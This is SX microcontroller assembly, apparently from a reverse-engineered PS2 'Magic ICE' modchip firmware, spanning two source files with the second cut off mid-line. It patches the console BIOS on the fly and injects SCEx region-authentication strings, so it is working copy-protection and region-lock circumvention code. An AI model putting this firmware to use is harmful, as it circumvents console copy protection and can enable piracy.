jmp V9toV12_CONSOLE_PATCH1_POST ;exit_patch CDDVD_IS_PS1 clrb IO_CDDVD_OE_A_1R clrb SOFT_RST snb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 page $0a00 jmp PS1_DETECTED_REBOOT org $0600 ;; page 6 DEV1 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P6 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P6 ret ;-------------------------------------------------------------------------------- BIOS_PATCH_DEV1 ;; h2o dev1 ported ;-------------------------------------------------------------------------------- jmp pc+w retw $8 ;0 retw $10 retw $3c retw $72 retw $0 retw $11 retw $36 retw $7c retw $a9 retw $92 retw $34 retw $0 retw $0 retw $51 retw $ae retw $c retw $0 retw $0 retw $0 retw $3 retw $0 retw $5 retw $24 retw $10 retw $0 retw $6 retw $3c retw $ec retw $1 retw $c4 retw $34 ;30 retw $e0 retw $1 retw $c6 retw $34 retw $6 retw $0 retw $3 retw $24 retw $c retw $0 retw $0 retw $0 retw $f7 retw $1 retw $10 retw $0 retw $7 retw $2 retw $10 retw $0 retw $15 retw $2 retw $10 retw $0 retw $6d retw $6f retw $64 retw $75 retw $6c ;60 retw $65 retw $6c retw $6f retw $61 retw $64 retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a retw $53 retw $49 retw $4f retw $32 retw $4d retw $41 retw $4e retw $0 retw $2d retw $6d retw $20 retw $72 retw $6f retw $6d retw $30 retw $3a ;90 retw $4d retw $43 retw $4d retw $41 retw $4e retw $0 retw $6d retw $63 retw $30 retw $3a retw $2f retw $42 retw $4f retw $4f retw $54 retw $2f retw $42 retw $4f retw $4f retw $54 retw $2e retw $45 retw $4c retw $46 retw $0 ;115 DEV1_MODE_LOAD_START clrb PSX_FLAG setb SOFT_RST setb EJ_FLAG setb DEV1_FLAG mov w,#$73 mov VAR_DC1,w clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w DEV1_MODE_LOAD_LOOP mov w,VAR_DC3 call BIOS_PATCH_DEV1 mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp DEV1_MODE_LOAD_LOOP page $0200 jmp CHECK_IF_V1_v2or3_V4_V5to8 ;---------------------------------------------------------- ;XCDVDMAN routine 2 ??? ps1/dev1 XCDVDMAN ?? ;---------------------------------------------------------- ;;todo can delete ?? ;-------------------------------------------------- ;;todo prehaps remove ;Modload repatch... ;; added edit FINISHED_RUN_START page $0000 call SET_INTRPT mov w,#4;$4 mov VAR_DC1,w FINISHED_RUN_START_P2 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2 mov w,#$c4 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P6 mov w,#$27 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 call BIOS_WAIT_OE_LO_P6 mov w,#$18 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2 FINISHED_RUN_START_P2_L1 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L1 mov w,#$d0 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L2 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L2 FINISHED_RUN_START_P2_L3 snb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L3 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 FINISHED_RUN_START_P2_L4 sb IO_BIOS_OE jmp FINISHED_RUN_START_P2_L4 ;; check PS1_DETECTED_REBOOT_JMP11to17_ALL FINISHED_RUN_END ;; added snb IO_BIOS_OE jmp FINISHED_RUN_END mov w,#$42 mov w,IO_BIOS_DATA-w sb z jmp FINISHED_RUN_START_P2_L1 mov w,#$34 mov IO_BIOS_DATA,w mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P6 mov w,#$ff mov !IO_BIOS_DATA,w decsz VAR_DC1 jmp FINISHED_RUN_START_P2 page $0000 call DELAY100m page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;; end added edit org $0800 ;; page8 ps1drv page4 sx28 ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P8 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P8 ret ;psx1 driver patch ... ;PSX1DRV PS1_CONSOLE_PAL_YFIX ;; differs ;V7DRV mov w,#$3c mov IO_BIOS_DATA,w mov w,#$20;15 mov fsr,w mov w,#$b mov VAR_DC2,w ;10 01 00 43 30 ;psx1drv_l0 PS1_CONSOLE_PAL_YFIX_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$11 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC call BIOS_WAIT_OE_LO_P8 mov w,#$9 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC ;psx1drv_l0a PS1_CONSOLE_PAL_YFIX_SYNC_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 nop mov w,#$30 ; 3C C7 34 19 19 E2 B2 19 E2 BA mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_PAL_YFIX_SYNC_L1 PS1_CONSOLE_PAL_YFIX_SYNC_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L2 mov !IO_BIOS_DATA,w PS1_CONSOLE_PAL_YFIX_SYNC_L3 snb IO_BIOS_OE jmp PS1_CONSOLE_PAL_YFIX_SYNC_L3 page $0200 call RUN_BIOS_PATCHES_SRAM clr fsr ;; ?? decsz VAR_DC4 jmp PS1_CONSOLE_PAL_YFIX ;LOGO PS1_CONSOLE_ALL_JMPNTSC ; clr fsr ;; test remove. todo. runs better seems removed for ps1 mode. mov w,#$34 mov VAR_DC1,w mov w,#$18 mov VAR_DC3,w mov VAR_DC4,w ;logo_l1 ;match FDFF8514 PS1_CONSOLE_ALL_JMPNTSC_SYNC snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC mov w,#$fd mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L1 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L2 mov w,#$ff mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L3 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L4 mov w,#$85 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L5 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L6 mov w,#$14 mov w,IO_BIOS_DATA-w sb z jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC ;logo_skip PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L8 decsz VAR_DC1 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC_L7 mov w,#$3 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH1 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH1 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$3c mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2_L1 decsz VAR_DC3 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC2 mov w,#$0 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_PATCH2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_PATCH2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$0 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ;logo_skip3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 snb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L1 decsz VAR_DC4 jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3 mov w,#$88 mov IO_BIOS_DATA,w PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 sb IO_BIOS_OE jmp PS1_CONSOLE_ALL_JMPNTSC_SYNC3_L2 mov w,#$0 mov !IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$2 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$80 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$a4 mov IO_BIOS_DATA,w call BIOS_WAIT_OE_LO_P8 mov w,#$ff mov !IO_BIOS_DATA,w ; clr fsr ;; test remove. todo. runs better seems removed for ps1 mode. setb EJ_FLAG page $0000 jmp PS1_MODE_START_PATCH org $0A00 ;; page A ps2logo page4 sx28 ;; weird broken oe wait not even called. wait needed for flow ?? ;; test remove. todo ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_PA ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_PA ret ;-------------------------------------------------------------------------------- PS2LOGO_PATCH ;-------------------------------------------------------------------------------- jmp pc+w ;LOAD_XMAN retw $0 ; 0 retw $e0 retw $3 retw $21 retw $10 retw $0 retw $0 mov w,#51;$33 mov VAR_DC3,w sb V14_FLAG jmp PS2LOGO_PATCH_not22_JMP1 ;v14? mov w,#13;$d mov VAR_DC3,w retw $40 retw $8 retw $11 retw $3c retw $8 retw $0 retw $32 retw $36 retw $f8 retw $1 retw $92 retw $ac retw $21 retw $0 retw $40 retw $8 retw $b retw $0 retw $32 retw $36 retw $10 retw $0 retw $4 retw $3c retw $18 retw $16 retw $92 retw $ac retw $0 retw $0 retw $4 retw $8 mov w,#70;$46 mov VAR_DC3,w snb V14_FLAG jmp PS2LOGO_PATCH_22_JMP2 ;not v14 patches, how flows? mov w,#51;$33 mov VAR_DC3,w ;v12 PS2LOGO_PATCH_not22_JMP1 retw $8 retw $11 retw $3c retw $c1 retw $0 retw $32 retw $36 retw $18 retw $16 retw $92 retw $ac retw $c retw $0 retw $0 retw $0 ;LOGO2 PS2LOGO_PATCH_22_JMP2 retw $0 retw $0 retw $0 retw $0 retw $20 retw $38 retw $11 retw $0 retw $0 retw $60 retw $3 retw $24 retw $0 retw $0 retw $e2 retw $90 retw $0 retw $0 retw $e4 retw $90 retw $ff retw $ff retw $63 retw $24 retw $26 retw $20 retw $82 retw $0 retw $0 retw $0 retw $e4 retw $a0 retw $fb retw $ff retw $61 retw $4 retw $1 retw $0 retw $e7 retw $24 mov w,#117;$75 mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP1 mov w,#112;$70 mov VAR_DC3,w retw $d0 retw $80 mov w,#119;$77 mov VAR_DC3,w jmp PS2LOGO_PATCH_11_17_JMP1 ;LOADV10A PS2LOGO_PATCH_19_20_JMP1 retw $50 retw $81 ;LOADL1 PS2LOGO_PATCH_11_17_JMP1 retw $80 retw $af retw $2e retw $1 retw $22 retw $92 retw $2f retw $1 retw $23 retw $92 retw $26 retw $10 retw $43 retw $0 retw $1a retw $0 retw $3 retw $24 retw $3 retw $0 retw $43 retw $14 retw $1 retw $0 retw $7 retw $24 mov w,#171;$ab mov VAR_DC3,w snb V10_FLAG jmp PS2LOGO_PATCH_19_20_JMP2 mov w,#151;$97 mov VAR_DC3,w retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $bd retw $5 retw $4 retw $8 retw $cc retw $80 retw $87 retw $af ;V10-12 PS2LOGO_PATCH_19_20_JMP2 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af retw $0 retw $0 retw $7 retw $24 retw $af retw $5 retw $4 retw $8 retw $4c retw $81 retw $87 retw $af ;V14DRV PS2LOGO_PATCHLOAD_22_JMP1 mov w,#39;$27 mov VAR_DC1,w jmp PS2LOGO_PATCHLOAD_22_JMP2 ;XMAN START_PS2LOGO_PATCH_LOAD mov w,#123;$7b mov VAR_DC1,w snb V14_FLAG jmp PS2LOGO_PATCHLOAD_22_JMP2 mov w,#110;$6e mov VAR_DC1,w ;PS2_PS2LOGO ;PS2_PS2LOGO:loopa PS2LOGO_PATCHLOAD_22_JMP2 clr w mov VAR_DC3,w mov w,#$20;15 mov fsr,w ;PS2_PS2LOGO:loop PS2LOGO_PATCHLOAD_LOOP mov w,VAR_DC3 call PS2LOGO_PATCH mov indf,w inc fsr inc VAR_DC3 decsz VAR_DC1 jmp PS2LOGO_PATCHLOAD_LOOP clr fsr snb PSX_FLAG page $0200 jmp SET_V14DRV snb X_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;PS2_PS2LOGO:loopz ;; changed from h2o PS1_DETECTED_REBOOT clr fsr mov w,#117;$75 mov VAR_DC2,w mov w,#$1 mov VAR_PSX_BC_CDDVD_TEMP,w mov w,#$c0 mov VAR_PSX_TEMP,w mov w,#$72 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w snb V14_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v12 logo sync mov w,#103;$67 mov VAR_DC2,w ;V12 logo lenght mov w,#$8 mov VAR_PSX_BC_CDDVD_TEMP,w ;V12 sync data mov w,#$e0 mov VAR_PSX_TEMP,w mov w,#$9d mov VAR_PSX_BITC,w mov w,#$40 mov IO_BIOS_DATA,w ;V12 bios preload snb V12_FLAG jmp PS1_DETECTED_REBOOT_JMP20to22 ;load regs with v10 sync mov w,#$af mov VAR_PSX_BC_CDDVD_TEMP,w ;V10 sync data mov w,#$6 mov VAR_PSX_TEMP,w mov w,#$8 mov VAR_PSX_BITC,w mov w,#$0 mov IO_BIOS_DATA,w ;V1-V10 bios preload snb V10_FLAG jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; originally Label_0183 two different call in sx48 vs sx28 ;load regs with v1-v9 sync mov w,#$1e mov VAR_PSX_TEMP,w PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; mov w,#$57 mov VAR_DC2,w ;PS2_PS2LOGO:loop4 PS1_DETECTED_REBOOT_JMP20to22 mov w,#$50 mov VAR_PSX_BYTE,w PS1_DETECTED_REBOOT_L1 mov w,#$ff mov VAR_DC3,w PS1_DETECTED_REBOOT_L2 mov w,#$ff mov VAR_DC1,w AUTO_REBOOT_PS1MODE sb IO_BIOS_CS jmp PSX_MODE_START_P2 decsz VAR_DC1 jmp AUTO_REBOOT_PS1MODE decsz VAR_DC3 jmp PS1_DETECTED_REBOOT_L2 decsz VAR_PSX_BYTE jmp PS1_DETECTED_REBOOT_L1 ;AUTORESET ;NEW!!! future board design using a 2N7002 mosfet IFDEF RSTBUMP mov w,#$1b mov m,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fb ELSE mov w,#$0 mov IO_CDDVD_BUS,w mov w,#$fe ENDIF mov !IO_CDDVD_BUS,w page $0000 call DELAY100m mov w,#$ff mov !IO_CDDVD_BUS,w setb PSX_FLAG page $0000 jmp CHECK_IF_V9to14 PS1_MODE_START snb IO_BIOS_CS jmp AUTO_REBOOT_PS1MODE PSX_MODE_START_P2 mov w,VAR_PSX_BC_CDDVD_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L1 sb IO_BIOS_OE jmp PS1_MODE_L1 PS1_MODE_L2 snb IO_BIOS_OE jmp PS1_MODE_L2 mov w,VAR_PSX_TEMP mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START PS1_MODE_L3 sb IO_BIOS_OE jmp PS1_MODE_L3 PS1_MODE_L4 ;; h2o differs. ported snb IO_BIOS_OE jmp PS1_MODE_L4 mov w,VAR_PSX_BITC mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_START mov w,#$26;1b ;;; this the problem ?? mov fsr,w snb V14_FLAG jmp PS1_MODE_L5 snb V12_FLAG jmp PS1_MODE_v12_PATCHS mov w,#$37;3c mov fsr,w PS1_MODE_L5 snb IO_BIOS_OE jmp PS1_MODE_L5 nop mov w,#$c mov w,IO_BIOS_DATA-w sb z jmp PS1_MODE_L5 PS1_MODE_L6 sb IO_BIOS_OE jmp PS1_MODE_L6 mov !IO_BIOS_DATA,w ;PS2_PS2LOGO:loop1 PS1_MODE_L7 snb IO_BIOS_OE jmp PS1_MODE_L7 page $0200 call RUN_BIOS_PATCHES_SRAM decsz VAR_DC4 jmp PS1_DETECTED_REBOOT_JMP11to17_JMP2 ;; PS1_DETECTED_REBOOT_JMP11to17_ALL ;;todo look here start 75k ;PS2_PS2LOGO:back PS1_MODE_SUCESSFUL_END snb PSX_FLAG ;; added jmp PS1_CONSOLE_ALL_JMPNTSC ;; added setb EJ_FLAG page $0200 jmp POST_PATCH_4_MODE_START2 ;V12 logo sync PS1_MODE_v12_PATCHS mov w,#$27;1c mov fsr,w setb V12LOGO_FLAG page $0200 jmp SECOND_BIOS_PATCH_SYNC_P2 org $0E00 end

1nick9/PS2-Magic-ICE-FINAL-REVERSE

103,723

sx48WIP/final-48.hex-tidyup-use-h2odev1-works-usebase.s

;******************************************************************************** ; final-48.sxh hash 3267F8B788048663ABC6E1116F0F6048 ;******************************************************************************** device SX48,TURBO,BOROFF,OSCHS2,OPTIONX,WDRT006 ID 'ICEREV' ;; double ; for needs attension for mistakes or areas to change to function alike h2o or just general check here marker ;DEFINE ;RSTBUMP = 1 ; uncomment for compiling with restbump for ps1mode. else is compiled as f=tr DBE25B9DD8BF68CD48CBE23B16534DEA ;;ignore these defines below for now, not implemented yet ;USE ONLY IF F=TR commented out RSTBUMP ;pal v14 dont define any. for jap/usa define only one for 75k this will make f=tr work correctly also h=rw usa/pal f=tr 75k pal d8d6a5acf3e30901b45b75b001ff457c ;USAv14 = 1 ;uncomment for fixed 75k being usa region. all prior still work any region f=tr 75k usa 809aa1533abed9cbdf2ed612a6fc5627 ;JAPv14orv8 = 1 ;uncomment for fixed 75k being jap region. all prior still work any region f=tr 75k jap 7a35a0a6001a04ed71509a1c18b6544f ;also for v7 to use v9+ mechacon patch for v8 jap support f=tr ;NTSCPS1YFIX75K = 1 ;uncomment for 75k NTSC IMPORT YFIX PAL CONSOLE TESTED makes pal off screen but ntsc correct. off pal correct, ntsc crushed. ;NTSCPS1YFIX75K ON rstbump 891246cec7e63bc112c4005b700a7a22 f=tr 75k pal ec962491125e6e2196e215b6cb5222a1 ;only rstbump v8jap tested but rest should be right ;io pin assignments IO_SCEX = ra.2 ; (PSX:SCEx)RA2(S) IO_BIOS_OE = ra.0 ; (R) IO_BIOS_CS = rb.1 ; (W) ; LOW = BIOS select ; 1 = no access to rom , 0 = access to rom IO_REST = rb.2 ; ; 1 = normal , 0 = reset IO_EJECT = rb.3 ; (PS2:EJECT)RB3(Z) ; 1 = tray open , 0 = tray closed IO_CDDVD_OE_A_1Q = ra.1 ; (CDDVD:OE)RA1(A) (flipflop 1Q#) ;A from flip flop IO_CDDVD_OE_A_1R = ra.3 ; (CDDVD:OE)RA3(A) (flipflop 1R#) ;flip flop clr IO_CDDVD_BUS_i = rb.7 ; (I)(CDDVD:D7) IO_CDDVD_BUS_b = rb.4 ; (B)(CDDVD:D2) IO_CDDVD_BUS_f = rb.0 ; (F)(just used for usa v14 jmp or clash with f=tr on v14 usa) IO_CDDVD_BUS_h = rb.6 ; (H)(how determins is jap v14 if connected, assumption is no RW support at all on v14 RSTBUMP unless sync works out for when checked) IO_CDDVD_BUS = rb ; $06 IO_BIOS_DATA = rc ; $07 ; (V)RC0(BIOS:D0) - (M)RC7(BIOS:D7) ;regs VAR_DC1 = $0A VAR_DC2 = $0B VAR_DC3 = $0C VAR_DC4 = $0D VAR_PSX_TEMP = $10 VAR_PSX_BYTE = $11 VAR_PATCH_FLAGS = $0E VAR_SWITCH = $0F VAR_BIOS_REV = $12 VAR_BIOS_YR = $13 VAR_BIOS_REGION_TEMP = $14 VAR_PSX_BITC = $15 VAR_PSX_BC_CDDVD_TEMP = $16 ;------------------------------------------------------------ ;VAR_PATCH_FLAGS ;------------------------------------------------------------ EJ_FLAG = VAR_PATCH_FLAGS.0 ;bit 0 used by eject routine SOFT_RST = VAR_PATCH_FLAGS.1 ;soft reset flag for disk patch PSX_FLAG = VAR_PATCH_FLAGS.2 ;psx mode flag V10_FLAG = VAR_PATCH_FLAGS.3 ;bios 1.9 or 2.0 ;also v10 1.9 bios has own ps1 routine UK_FLAG = VAR_PATCH_FLAGS.4 USA_FLAG = VAR_PATCH_FLAGS.5 JAP_FLAG = VAR_PATCH_FLAGS.6 SCEX_FLAG = VAR_PATCH_FLAGS.7 ;set when SCEX_LOW loop for injecting. once cleared knows patching done to flow forward ;------------------------------------------------------------ ;VAR_SWITCH ;------------------------------------------------------------ V12_FLAG = VAR_SWITCH.0 ;v12 console 2.0 bios set V12LOGO_FLAG = VAR_SWITCH.1 ;PS1_MODE v12 2.0 bios console flag ? ;SECOND_BIOS_PATCH_END ref if was doing ps1 patching for 2.0 v12 as redirects flow there for different patch. X_FLAG = VAR_SWITCH.2 ;set when HOLD_BOOT_MODES only clrb when end ? ;can flow onto ps1 reboot into PS1_MODE if detect ps1 media ;;JAP_V8 = VAR_SWITCH.3 ;; DEV1_FLAG = VAR_SWITCH.4 ;;V14_FLAG = VAR_SWITCH.5 ;; ;set due to W for region of BIOS which decka models ;;V0_FLAG = VAR_SWITCH.6 ;; ;------------------------------------------------------------ ;CODE ;------------------------------------------------------------ ;mode setup for io's ;todo ;ref SX-SX-Users-Manual-R3.1.pdf section 5.3.2 org $07FF ; Reset Vector reset STARTUP ; jmp to startup process on reset vector skipping boot inital ;****** Reset of the chip ******************************** org $0000 ; PAGE1 000-1FF ;INTERRUPT ;goes to sleep and wait for reset release ( 1 ) or tray close (0) ... mov w,#$1f mov m,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !ra,w mov w,#$1a mov m,w mov w,#$8 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w sleep ;INIT_CHIP STARTUP mov w,#$1d mov m,w mov w,#$f7 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w mov w,#$7 mov !ra,w mov w,#$ff mov !IO_CDDVD_BUS,w mov w,#$ff mov !IO_BIOS_DATA,w mov w,#$c7 mov !option,w ;read power down register clr fsr mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov VAR_PSX_BITC,w mov w,#$1f mov m,w ;execute correct startup... snb pd jmp CLEAR_CONSOLE_INFO_PREFIND snb VAR_PSX_BITC.2 jmp TAP_BOOT_MODE snb IO_EJECT jmp TRAY_IS_EJECTED snb VAR_PSX_BITC.1 page $0200 jmp POST_PATCH_4_MODE_START page $0200 jmp PS2_MODE_RB_IO_SET_SLEEP ;power up from STBY CLEAR_CONSOLE_INFO_PREFIND clr VAR_PATCH_FLAGS clr VAR_SWITCH jmp BIOS_GET_SYNC ;-------------------------------------------------------------------------------- DELAY100m ;-------------------------------------------------------------------------------- mov w,#$64 mov VAR_DC1,w RTCC_SET_BIT mov w,#$3d mov rtcc,w RTCC_CHECK mov w,rtcc sb z jmp RTCC_CHECK decsz VAR_DC1 jmp RTCC_SET_BIT retp ;-------------------------------------------------------------------------------- SET_INTRPT ;-------------------------------------------------------------------------------- mov w,#$1a mov m,w mov w,#$6 mov !IO_CDDVD_BUS,w mov w,#$19 mov m,w clr w mov !IO_CDDVD_BUS,w mov w,#$1b mov m,w mov w,#$f3 mov !IO_CDDVD_BUS,w mov w,#$1f mov m,w retp ;-------------------------------------------------------------------------------- SCEX_HI ;-------------------------------------------------------------------------------- setb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w not ra :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEX_LOW ;-------------------------------------------------------------------------------- clrb IO_SCEX mov w,#$3b mov VAR_DC3,w :loop1 mov w,#$d4 mov VAR_DC2,w snb IO_BIOS_CS jmp :loop2 setb SCEX_FLAG :loop2 mov w,#$3 mov VAR_DC1,w :loop3 decsz VAR_DC1 jmp :loop3 decsz VAR_DC2 jmp :loop2 decsz VAR_DC3 jmp :loop1 ret ;-------------------------------------------------------------------------------- SCEx_DATA ;-------------------------------------------------------------------------------- jmp pc+w ; retw values are ascii hex retw $53 ; S ; USA 0 retw $43 ; C retw $45 ; E retw $41 ; A retw $53 ; S ; UK 4 retw $43 ; C retw $45 ; E retw $49 ; I retw $53 ; S ; JAP 8 retw $43 ; C retw $45 ; E retw $45 ; E ;-------------------------------------------------------------------------------- SEND_SCEX ;-------------------------------------------------------------------------------- snb USA_FLAG jmp usa snb UK_FLAG jmp uk jmp jap usa clr VAR_DC4 jmp SCEx_IO_SET uk mov w,#$8 mov VAR_DC4,w jmp SCEx_IO_SET jap mov w,#$4 mov VAR_DC4,w SCEx_IO_SET mov w,#$1f mov m,w mov w,#$b mov !ra,w mov w,#$4 mov VAR_PSX_BC_CDDVD_TEMP,w next_byte mov w,VAR_DC4 call SCEx_DATA mov VAR_PSX_BYTE,w not VAR_PSX_BYTE mov w,#$8 mov VAR_PSX_BITC,w call SCEX_LOW call SCEX_LOW call SCEX_HI send rr VAR_PSX_BYTE snb c jmp hi sc call SCEX_LOW jmp next2 hi call SCEX_HI next2 decsz VAR_PSX_BITC jmp send inc VAR_DC4 decsz VAR_PSX_BC_CDDVD_TEMP jmp next_byte clrb IO_SCEX mov w,#$16 mov VAR_DC4,w send_end call SCEX_LOW decsz VAR_DC4 jmp send_end mov w,#$1f mov m,w mov w,#$f mov !ra,w ret ;-------------------------------------------------------------------------------- BIOS_WAIT_OE_LO_P1 ;-------------------------------------------------------------------------------- snb IO_BIOS_OE jmp BIOS_WAIT_OE_LO_P1 ret BIOS_GET_SYNC ; wait for "S201" seems to wait for "PS20" since 0.94 ; 0123456789ABC ; Read "PS201?0?C200?xxxx.bin" snb IO_BIOS_OE ; next byte / wait for bios OE low jmp BIOS_GET_SYNC nop mov w,#$50 ; ASCII P ; is byte0 = 'P' seems to be new count prior for "PS201?0?C200?xxxx.bin" mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$53 ; ASCII S ; is byte1 (byte0 0.94) = 'S' ; v8 fix mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$32 ; ASCII 2 ; is byte2 (byte1 0.94) = '2' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov w,#$30 ; ASCII 0 ; is byte3 (byte2 0.94) = '0' mov w,IO_BIOS_DATA-w sb z jmp BIOS_GET_SYNC call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low CAPTURE_BIOS_REV sb IO_BIOS_OE ; next byte / wait for bios OE high ; skipping byte4 for x.00 of bios jmp CAPTURE_BIOS_REV call BIOS_WAIT_OE_LO_P1 ; next byte / wait for bios OE low mov 